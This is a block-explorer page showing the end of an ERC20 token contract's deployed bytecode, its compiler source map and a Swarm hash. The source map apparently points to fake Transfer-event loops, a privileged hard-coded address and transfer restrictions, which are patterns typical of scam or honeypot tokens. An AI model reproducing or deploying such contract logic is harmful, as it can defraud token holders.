5f80fd5b505b6001600160a01b0383165f90815260016020526040902054818110156109a25760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105bd565b6001600160a01b038085165f8181526001602052604080822086860390559286168082529083902080548601905591515f80516020610c85833981519152906109ee9086815260200190565b60405180910390a36103c8565b5f546001600160a01b031633146104b75760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016105bd565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610aee575f80fd5b919050565b5f8060408385031215610b04575f80fd5b610b0d83610ad8565b946020939093013593505050565b5f805f60608486031215610b2d575f80fd5b610b3684610ad8565b9250610b4460208501610ad8565b9150604084013590509250925092565b5f805f60408486031215610b66575f80fd5b833567ffffffffffffffff80821115610b7d575f80fd5b818601915086601f830112610b90575f80fd5b813581811115610b9e575f80fd5b8760208260051b8501011115610bb2575f80fd5b6020928301989097509590910135949350505050565b5f60208284031215610bd8575f80fd5b610be182610ad8565b9392505050565b5f8060408385031215610bf9575f80fd5b610c0283610ad8565b9150610c1060208401610ad8565b90509250929050565b600181811c90821680610c2d57607f821691505b602082108103610c4b57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561033357634e487b7160e01b5f52601160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208478f922ac984bb284be390ab0c2b84b5b8c39057fca46ec9b2d51177925d8d564736f6c63430008190033

Deployed ByteCode Sourcemap

3099:5544:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3508:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4974:201;;;;;;:::i;:::-;;:::i;:::-;;;1039:14:1;;1032:22;1014:41;;1002:2;987:18;4974:201:0;874:187:1;5543:108:0;5631:12;;5543:108;;;1212:25:1;;;1200:2;1185:18;5543:108:0;1066:177:1;5183:295:0;;;;;;:::i;:::-;;:::i;4266:211::-;;;;;;:::i;:::-;;:::i;:::-;;3730:92;;;3813:1;2417:36:1;;2405:2;2390:18;3730:92:0;2275:184:1;4047:213:0;;;;;;:::i;:::-;;:::i;3832:209::-;;;;;;:::i;:::-;;:::i;5714:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;5815:18:0;5788:7;5815:18;;;:9;:18;;;;;;;5714:127;2575:103;;;:::i;2340:87::-;2386:7;2413:6;2340:87;;-1:-1:-1;;;;;2413:6:0;;;2801:51:1;;2789:2;2774:18;2340:87:0;2655:203:1;3616:104:0;;;:::i;4612:193::-;;;;;;:::i;:::-;;:::i;4487:119::-;;;;;;:::i;:::-;;:::i;4813:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4929:18:0;;;4902:7;4929:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4813:151;5849:189;;;;;;:::i;:::-;;:::i;2686:201::-;;;;;;:::i;:::-;;:::i;3508:100::-;3562:13;3595:5;3588:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3508:100;:::o;4974:201::-;5057:4;1895:10;5113:32;1895:10;5129:7;5138:6;5113:8;:32::i;:::-;5163:4;5156:11;;;4974:201;;;;;:::o;5183:295::-;5314:4;1895:10;5372:38;5388:4;1895:10;5403:6;5372:15;:38::i;:::-;5421:27;5431:4;5437:2;5441:6;5421:9;:27::i;:::-;-1:-1:-1;5466:4:0;;5183:295;-1:-1:-1;;;;5183:295:0:o;4266:211::-;4355:9;4350:120;4370:22;;;4350:120;;;4437:11;;4449:1;4437:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4428:7;;4419:39;;1212:25:1;;;-1:-1:-1;;;;;4419:39:0;;;;4428:7;;;;-1:-1:-1;;;;;;;;;;;4419:39:0;1200:2:1;1185:18;4419:39:0;;;;;;;4394:3;;4350:120;;;;4266:211;;;:::o;4047:213::-;4138:9;4133:120;4153:22;;;4133:120;;;4220:11;;4232:1;4220:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;4211:7;;4202:39;;1212:25:1;;;-1:-1:-1;;;;;4202:39:0;;;;4211:7;;;;-1:-1:-1;;;;;;;;;;;4202:39:0;1200:2:1;1185:18;4202:39:0;;;;;;;4177:3;;4133:120;;3832:209;3919:9;3914:120;3934:22;;;3914:120;;;4001:11;;4013:1;4001:14;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;3992:7;;3983:39;;1212:25:1;;;-1:-1:-1;;;;;3983:39:0;;;;3992:7;;;;-1:-1:-1;;;;;;;;;;;3983:39:0;1200:2:1;1185:18;3983:39:0;;;;;;;3958:3;;3914:120;;2575:103;2301:13;:11;:13::i;:::-;2640:30:::1;2667:1;2640:18;:30::i;:::-;2575:103::o:0;3616:104::-;3672:13;3705:7;3698:14;;;;;:::i;4612:193::-;4691:4;1895:10;4747:28;1895:10;4764:2;4768:6;4747:9;:28::i;4487:119::-;4588:3;-1:-1:-1;;;;;4572:26:0;4581:5;-1:-1:-1;;;;;4572:26:0;-1:-1:-1;;;;;;;;;;;4593:4:0;4572:26;;;;1212:25:1;;1200:2;1185:18;;1066:177;4572:26:0;;;;;;;;4487:119;;;:::o;5849:189::-;5910:4;1895:10;5947:42;5931:58;5928:80;;5991:7;:17;;-1:-1:-1;;;;;;5991:17:0;-1:-1:-1;;;;;5991:17:0;;;;;5928:80;-1:-1:-1;6026:4:0;;5849:189;-1:-1:-1;5849:189:0:o;2686:201::-;2301:13;:11;:13::i;:::-;-1:-1:-1;;;;;2775:22:0;::::1;2767:73;;;::::0;-1:-1:-1;;;2767:73:0;;3847:2:1;2767:73:0::1;::::0;::::1;3829:21:1::0;3886:2;3866:18;;;3859:30;3925:34;3905:18;;;3898:62;-1:-1:-1;;;3976:18:1;;;3969:36;4022:19;;2767:73:0::1;;;;;;;;;2851:28;2870:8;2851:18;:28::i;:::-;2686:201:::0;:::o;6461:380::-;-1:-1:-1;;;;;6597:19:0;;6589:68;;;;-1:-1:-1;;;6589:68:0;;4254:2:1;6589:68:0;;;4236:21:1;4293:2;4273:18;;;4266:30;4332:34;4312:18;;;4305:62;-1:-1:-1;;;4383:18:1;;;4376:34;4427:19;;6589:68:0;4052:400:1;6589:68:0;-1:-1:-1;;;;;6676:21:0;;6668:68;;;;-1:-1:-1;;;6668:68:0;;4659:2:1;6668:68:0;;;4641:21:1;4698:2;4678:18;;;4671:30;4737:34;4717:18;;;4710:62;-1:-1:-1;;;4788:18:1;;;4781:32;4830:19;;6668:68:0;4457:398:1;6668:68:0;-1:-1:-1;;;;;6749:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6801:32;;1212:25:1;;;6801:32:0;;1185:18:1;6801:32:0;1066:177:1;7882:453:0;-1:-1:-1;;;;;4929:18:0;;;8017:24;4929:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;8084:37:0;;8080:248;;8166:6;8146:16;:26;;8138:68;;;;-1:-1:-1;;;8138:68:0;;5062:2:1;8138:68:0;;;5044:21:1;5101:2;5081:18;;;5074:30;5140:31;5120:18;;;5113:59;5189:18;;8138:68:0;4860:353:1;8138:68:0;8250:51;8259:5;8266:7;8294:6;8275:16;:25;8250:8;:51::i;6853:1021::-;-1:-1:-1;;;;;6984:16:0;;6976:64;;;;-1:-1:-1;;;6976:64:0;;5420:2:1;6976:64:0;;;5402:21:1;5459:2;5439:18;;;5432:30;5498:34;5478:18;;;5471:62;-1:-1:-1;;;5549:18:1;;;5542:33;5592:19;;6976:64:0;5218:399:1;6976:64:0;-1:-1:-1;;;;;7059:18:0;;7051:68;;;;-1:-1:-1;;;7051:68:0;;5824:2:1;7051:68:0;;;5806:21:1;5863:2;5843:18;;;5836:30;5902:34;5882:18;;;5875:62;-1:-1:-1;;;5953:18:1;;;5946:35;5998:19;;7051:68:0;5622:401:1;7051:68:0;7144:7;;-1:-1:-1;;;;;7136:15:0;;;7144:7;;7136:15;;;;:77;;-1:-1:-1;7171:42:0;-1:-1:-1;;;;;7155:58:0;;;7136:77;7135:293;;;-1:-1:-1;7229:7:0;;-1:-1:-1;;;;;7229:13:0;;;:7;;:13;:67;;;;-1:-1:-1;7254:42:0;-1:-1:-1;;;;;7246:50:0;;;;7229:67;:133;;;;-1:-1:-1;7320:42:0;-1:-1:-1;;;;;7311:51:0;;;;7229:133;:198;;;;-1:-1:-1;7385:42:0;-1:-1:-1;;;;;7377:50:0;;;;7229:198;7132:391;;;7445:14;7462:10;:6;7471:1;7462:10;:::i;:::-;7445:27;;7504:5;;7495:6;:14;7487:24;;;;;;7430:93;7132:391;-1:-1:-1;;;;;7555:15:0;;7533:19;7555:15;;;:9;:15;;;;;;7589:21;;;;7581:72;;;;-1:-1:-1;;;7581:72:0;;6457:2:1;7581:72:0;;;6439:21:1;6496:2;6476:18;;;6469:30;6535:34;6515:18;;;6508:62;-1:-1:-1;;;6586:18:1;;;6579:36;6632:19;;7581:72:0;6255:402:1;7581:72:0;-1:-1:-1;;;;;7689:15:0;;;;;;;:9;:15;;;;;;7707:20;;;7689:38;;7742:13;;;;;;;;;;:23;;;;;;7792:26;;-1:-1:-1;;;;;;;;;;;7792:26:0;;;7721:6;1212:25:1;;1200:2;1185:18;;1066:177;7792:26:0;;;;;;;;7829:37;8345:124;2433:132;2386:7;2413:6;-1:-1:-1;;;;;2413:6:0;1895:10;2497:23;2489:68;;;;-1:-1:-1;;;2489:68:0;;6864:2:1;2489:68:0;;;6846:21:1;;;6883:18;;;6876:30;6942:34;6922:18;;;6915:62;6994:18;;2489:68:0;6662:356:1;2895:191:0;2969:16;2988:6;;-1:-1:-1;;;;;3005:17:0;;;-1:-1:-1;;;;;;3005:17:0;;;;;;3038:40;;2988:6;;;;;;;3038:40;;2969:16;3038:40;2958:128;2895:191;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:254::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;859:2;844:18;;;;831:32;;-1:-1:-1;;;615:254:1:o;1248:328::-;1325:6;1333;1341;1394:2;1382:9;1373:7;1369:23;1365:32;1362:52;;;1410:1;1407;1400:12;1362:52;1433:29;1452:9;1433:29;:::i;:::-;1423:39;;1481:38;1515:2;1504:9;1500:18;1481:38;:::i;:::-;1471:48;;1566:2;1555:9;1551:18;1538:32;1528:42;;1248:328;;;;;:::o;1581:689::-;1676:6;1684;1692;1745:2;1733:9;1724:7;1720:23;1716:32;1713:52;;;1761:1;1758;1751:12;1713:52;1801:9;1788:23;1830:18;1871:2;1863:6;1860:14;1857:34;;;1887:1;1884;1877:12;1857:34;1925:6;1914:9;1910:22;1900:32;;1970:7;1963:4;1959:2;1955:13;1951:27;1941:55;;1992:1;1989;1982:12;1941:55;2032:2;2019:16;2058:2;2050:6;2047:14;2044:34;;;2074:1;2071;2064:12;2044:34;2129:7;2122:4;2112:6;2109:1;2105:14;2101:2;2097:23;2093:34;2090:47;2087:67;;;2150:1;2147;2140:12;2087:67;2181:4;2173:13;;;;2205:6;;-1:-1:-1;2243:20:1;;;;2230:34;;1581:689;-1:-1:-1;;;;1581:689:1:o;2464:186::-;2523:6;2576:2;2564:9;2555:7;2551:23;2547:32;2544:52;;;2592:1;2589;2582:12;2544:52;2615:29;2634:9;2615:29;:::i;:::-;2605:39;2464:186;-1:-1:-1;;;2464:186:1:o;2863:260::-;2931:6;2939;2992:2;2980:9;2971:7;2967:23;2963:32;2960:52;;;3008:1;3005;2998:12;2960:52;3031:29;3050:9;3031:29;:::i;:::-;3021:39;;3079:38;3113:2;3102:9;3098:18;3079:38;:::i;:::-;3069:48;;2863:260;;;;;:::o;3128:380::-;3207:1;3203:12;;;;3250;;;3271:61;;3325:4;3317:6;3313:17;3303:27;;3271:61;3378:2;3370:6;3367:14;3347:18;3344:38;3341:161;;3424:10;3419:3;3415:20;3412:1;3405:31;3459:4;3456:1;3449:15;3487:4;3484:1;3477:15;3341:161;;3128:380;;;:::o;3513:127::-;3574:10;3569:3;3565:20;3562:1;3555:31;3605:4;3602:1;3595:15;3629:4;3626:1;3619:15;6028:222;6093:9;;;6114:10;;;6111:133;;;6166:10;6161:3;6157:20;6154:1;6147:31;6201:4;6198:1;6191:15;6229:4;6226:1;6219:15

Swarm Source

ipfs://8478f922ac984bb284be390ab0c2b84b5b8c39057fca46ec9b2d51177925d8d5
Block Transaction Difficulty Gas Used Reward
Block Uncle Number Difficulty Gas Used Reward
Loading
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.